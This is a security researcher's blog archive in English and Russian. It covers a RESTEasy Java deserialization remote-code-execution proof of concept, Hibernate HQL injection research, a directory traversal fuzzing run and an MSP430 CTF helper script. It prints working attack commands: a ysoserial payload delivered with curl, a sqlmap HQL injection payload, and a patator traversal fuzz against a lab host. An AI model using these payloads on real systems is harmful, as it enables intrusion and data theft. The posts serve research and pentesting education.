пятница, 8 июля 2016 г.
Posted on пятница, июля 08, 2016 by 0ang3el
воскресенье, 26 июня 2016 г.
In this post, I want to describe server-side bug, which I’ve found during assessing security of some project written in Java. This project had REST API that was built with RESTEasy.
I’ve written simple PoC application to demonstrate what can go wrong with RESTEasy services.
Consider the following JAX-RS resource class with name PoC_resource.
package unsafe.jaxrs; import java.util.*; import javax.ws.rs.*; import javax.ws.rs.core.*; @Path("/") public class PoC_resource { @POST @Path("/concat") @Produces(MediaType.APPLICATION_JSON) @Consumes({"*/*"}) public MapThis class contains JAX-RS method with name doConcat that is available via /concat path. It accepts “pair” parameter of class Pair.doConcat(Pair pair) { HashMap result = new HashMap (); result.put("Result", pair.getP1() + pair.getP2()); return result; } }
I’ve added Jackson2 dependency to pom.xml. To invoke doConcat method you should issue POST request to the path /concat and pass JSON that represents object of the class Pair in the request body. You should also pass application/json in Content-Type HTTP header.
Here is the command line to invoke doConcat method of JAX-RS resource PoC_resource.
curl -i -s -k -X 'POST' \ -H 'Content-Type: application/json' \ --data-binary $'{\"p1\":\"a\",\"p2\":\"b\"}' \ 'http://127.0.0.1:8080/unsafe-jaxrs/concat'You should get similar answer.

My demo RESTEasy application has two features that make it vulnerable:
- Pair class is derived from java.io.Serializable.
- JAX-RS method doConcat has @Consumes({"*/*"}) annotation.
RESTEasy uses so-called “providers” to marshal request body into the parameter of JAX-RS method. For my application, there is Jackson2 provider to marshal JSON into “pair” parameter.
As you might guess, RESTEasy will pick the suitable provider for marshalling based on the Class of the parameter and the value of Content-Type HTTP header.
There are non-standard providers like Jackson2 or JAXB that you should add explicitly in pom.xml. However, there are standard providers, which are located inside org.jboss.resteasy.plugins.providers package of resteasy-jaxrs JAR (core RESTEasy library). The most interesting standard provider is, of course, org.jboss.resteasy.plugins.providers.SerializableProvider.
When RESTEasy handles the request, it observes what content types are allowed for JAX-RS method (what content types are specified in @Consumes annotation for JAX-RS resource and JAX-RS resource method). RESTEasy composes short list of providers that are suitable for marshaling based on what content types are allowed for JAX-RS method, and value of Content-Type HTTP header in request. Next it iterates over this list, and for each provider invokes isReadable() method. If isReadable() of some provider returns true, RESTEasy chooses that provider for marshalling. If none of the isReadable() methods return true, we will get HTTP response with code 415.
Here you can see the listing of isReadable() method for SerializableProvider.
public boolean isReadable(Class type, Type genericType, Annotation[] annotations, MediaType mediaType) { return (Serializable.class.isAssignableFrom(type)) && (APPLICATION_SERIALIZABLE_TYPE.getType().equals(mediaType.getType())) && (APPLICATION_SERIALIZABLE_TYPE.getSubtype().equals(mediaType.getSubtype())); }As you can observe in the listing, SerializableProvider is used for marshalling when parameter’s class is superclass of java.io.Serializable and Content-Type is equal to application/x-java-serialized-object.
To construct object from request body readFrom() method of SerializableProvider is invoked, which performs deserialization by calling readObject(). And we might have RCE, if there are “interesting” Java classes in the CLASSPATH.
public Serializable readFrom(ClassFor demonstration, I’ve added Apache Commons Collections 3.2.1 dependency in pom.xml.type, Type genericType, Annotation[] annotations, MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream) throws IOException, WebApplicationException { BufferedInputStream bis = new BufferedInputStream(entityStream); ObjectInputStream ois = new ObjectInputStream(bis); try { return (Serializable)Serializable.class.cast(ois.readObject()); } catch (ClassNotFoundException e) { throw new WebApplicationException(e); } }
First, I generate payload using ysoserial tool. Then I invoke doConcat method with curl and use Content-Type application/x-java-serialized-object.
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1 "curl 127.0.0.1:8888" > /tmp/payload curl -i -s -k -X 'POST' \ -H 'Content-Type: application/x-java-serialized-object' \ -H 'Expect:' \ --data-binary "@/tmp/payload" \ 'http://127.0.0.1:8080/unsafe-jaxrs/concat'

I have remote code execution.

Let’s summarize
For Pentesters. JAX-RS methods are vulnerable to “deserialization of untrusted data” bug when the following conditions are met:- Content type is not specified explicitly for JAX-RS method via @Consumes annotation or specified, but too broad (e.g. */*, application/*).
- JAX-RS method has parameter of class that is serializable.
Posted on воскресенье, июня 26, 2016 by 0ang3el
четверг, 3 декабря 2015 г.
The first talk was about security flaws in WebDav libraries and online services that supports WebDav protocol. I’ve presented it alone. Doing research I’ve found number of interesting vulnerabilities, got 2 CVEs, have been included into yandex’s October hall of fame - https://yandex.com/bugbounty/hall-of-fame/2015/10/. Also I’ve uncovered neat XXE exploitation trick using PUT, PROPPATCH, PROPFIND sequence of requests.
I was limited in time doing the research and, probably, missed cool findings. Nevertheless, using my approach you can find more interesting vulnerabilities in WebDav services :))
WebDav is widely used, it is complex, there are many implementations on different programming languages and its security is not researched well – there are few talks and public CVEs regarding WebDav. Thus, WebDav endpoints might conceal interesting bugs - pentester/bughunter should consider it.
Here is the presentation slides.
The second talk I had with my friend Sergey. In short, the purpose of our research was to discover new ways of HQL injection exploitation. HQL is object-oriented language and is limited versus normal SQL.
When it comes to HQLi exploitation, the main obstacle for the attacker is the fact that in worst case he can only access one table that is directly mapped to the entity. This is not cool :((
We studied how Hibernate works - how it parses HQL queries and translates them into SQL queries. Finally, we found bypassing techniques that allow us to access arbitrary tables in the database. Our techniques work for MySQL, Postgresql, Oracle, and Microsoft SQL Server DBMS.
Here the slides of our presentation.
Our work attracted much attention, more than 6000 views in a week. Thanks to @agarri_fr and @h3xstream for promoting our work on Twitter :))
Doing research, I have developed simple Java application I called hqli.playground with secure and insecure endpoints. Here is the link to the application - https://github.com/0ang3el/HQLi-playground. Application gets name parameter in URL and crates HQL query based on its value.
Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class); query.setParameter("name", name);Contrary, insecure endpoint uses string concatenation to pass URL parameter to HQL query.
Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class);
To trigger HQLi you have to navigate to URL http://hqli.playground.local:8080/hqli.playground/dummy’or’1’=’1. Doing that you will get all records from post table. In contrast, when you call secure endpoint by navigating to http://hqli.playground.local:8080/hqli.playground/secure/dummy’or’1’=’1 URL, you will get nothing, because secure implementation treats dummy’or’1’=’1 as a string.
I’ve made VM with hqli.playground application running on WildFly application server and Postgresql database. WildFly uses Hiberante as default ORM. Here is the link to the VM - http://0ang3el.com/hqli/hqli-playground-postgresql.ova. OS user is ubuntu password is reverse. When Postgresql is used as DBMS, you can exploit HQLi using sqlmap (http://sqlmap.org).
This command line allows you to dump database banner.
sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0For convenience, here is decoded URL parameter. Star symbol ‘*’ denotes injection point for sqlmap.
dummy' and array_upper(xpath('row',query_to_xml('select 1 where 1337>1*',true,false,'')),1)=1 and '1'='1Presentation explains why this works. Also I’ve made video with HQLi exploitation for Postgresql.
I can say that for Oracle and MySQL you can also use sqlmap to exploit HQLi. The hardest DBMS was Microsoft SQL Server - it is not possible to use sqlmap directly for exploitation. Thanks to Sergey, he wrote Perl script for extracting tables/columns information and dumping table content. Script is available here - https://github.com/0ang3el/Hibernate-Injection-Study. Besides, Sergey made nice video about HQLi exploitation.
Posted on четверг, декабря 03, 2015 by 0ang3el
пятница, 26 декабря 2014 г.
Смысл квеста "ломать" замкИ, которые работают на микроконтроллере MSP430. Все работает в браузере - парни из Matasano Security постарались и написали онлайн отладчик/дизассемблер для MSP430. Всего 19 уровней с возрастающей сложностью. Над последними двумя уровнями придется "поморщить мозг". Очень зачетный квест.
Отладчик в браузере - это очень удобно с одной стороны. Можно проходить квест лежа на диване с планшетом. В то же время отладчик имеет весьма ограниченный набор команд. Через 10 минут неактивности сессия отваливается и все выставленные брейкпоинты исчезают - нужно их заново ставить, что раздражает. К тому же последние уровни содержат много ассемблерного кода. Поэтому браузерный отладчик не очень удобен и хочется полноценного gdb.
Фанат микропроцессора MSP430 и Matasano Microcorruption CTF написал эмулятор - https://github.com/cemeyer/msp430-emu-uctf. На гитхабе написано подробно как ставить этот эмулятор и коннектить к нему GDB. В качестве аргумента эмулятору передается romfile.
Выкладываю питон-скрипт который конвертит live memory dump из браузерного отладчика в romfile. Может кому пригодится.
import binascii, sys def main(): fINname = sys.argv[1] fOUTname = sys.argv[2] fIN = open(fINname,"rb") fOUT = open(fOUTname,"wb") bytesWritten = 0 while True: line = fIN.readline() if line == "": break l = line.split(" ") a0 = int(l[0][:-1],16) if l[-1] == "*\r\n": line = fIN.readline() l = line.split(" ") a1 = int(l[0][:-1],16) for i in range(a1-a0): fOUT.write("\x00") bytesWritten += 1 s = binascii.unhexlify("".join(l[3:-3])) fOUT.write(s) bytesWritten += len(s) print "[+] Bytes written",bytesWritten fIN.close() fOUT.close() if __name__ == "__main__": main()
Posted on пятница, декабря 26, 2014 by 0ang3el
вторник, 27 мая 2014 г.
2. Угон пользовательской сессии в Jenkins - http://www.youtube.com/watch?v=BwXhpjiCTyA
3. Раскрытие SSL в JacORB - http://www.youtube.com/watch?v=B3EkrmNWeJs
4. Угон пользовательской сессии в Jetty, запущенном на GNU Classpath - http://www.youtube.com/watch?v=--ZuBUc2F2Y
Posted on вторник, мая 27, 2014 by 0ang3el
четверг, 16 января 2014 г.
We reported our findings to Jenkins CI community.
Posted on четверг, января 16, 2014 by 0ang3el
вторник, 12 ноября 2013 г.
root@bt:/pentest/web/dotdotpwn# ./dotdotpwn.pl -m stdout -f xampp/passwords.txt > /tmp/fuzz.txt
root@bt:/pentest/passwords/patator# ./patator.py http_fuzz url="http://192.168.66.2:8080/bwapp/directory_traversal_1.php?page=FILE0" 0=/tmp/fuzz.txt header='Cookie:PHPSESSID=aamd0l4rup8ass6ruqp5q1tgr0; security_level=0' -x ignore:fgrep!='### XAMPP Default Passwords ###'
Posted on вторник, ноября 12, 2013 by 0ang3el
Популярные посты
-
Apache XML-RPC is a XML-RPC library for Java. XML-RPC is a protocol for making remote procedure call via HTTP with the help of XML. Apac...
-
RESTEasy is RedHat project for building REST services in Java. You can deploy and run RESTEasy services on various servlet containers, lik...
-
В этом посте я хочу рассказать, как эксплуатировать SQL инъекции в веб-приложенях на платформе PHP - MySQL . Как обходить фильтры addsl...
-
Me and my colleague (http://reply-to-all.blogspot.ru/) performed research and figured out vulnerability in Jenkins CI and Hudson CI softwa...
-
В состав Kali Linux (и Backtrack Linux ) входит фазер dotdotpwn , который позволяет искать уязвимости Directory Traversal в Web /...
-
Last week I had two short talks on ZeroNights 0x05 conference. The first talk was about security flaws in WebDav libraries and online ...
-
Я прошел недавно Matasano Microcorruption CTF . Очень крутой challenge для тех кто хочет "пощупать" реверсинг для встроенных пл...
-
Был спикером на конференции. У нас с Сергеем был доклад на тему безопасности использования генераторов псевдослучайных чисел в приложениях...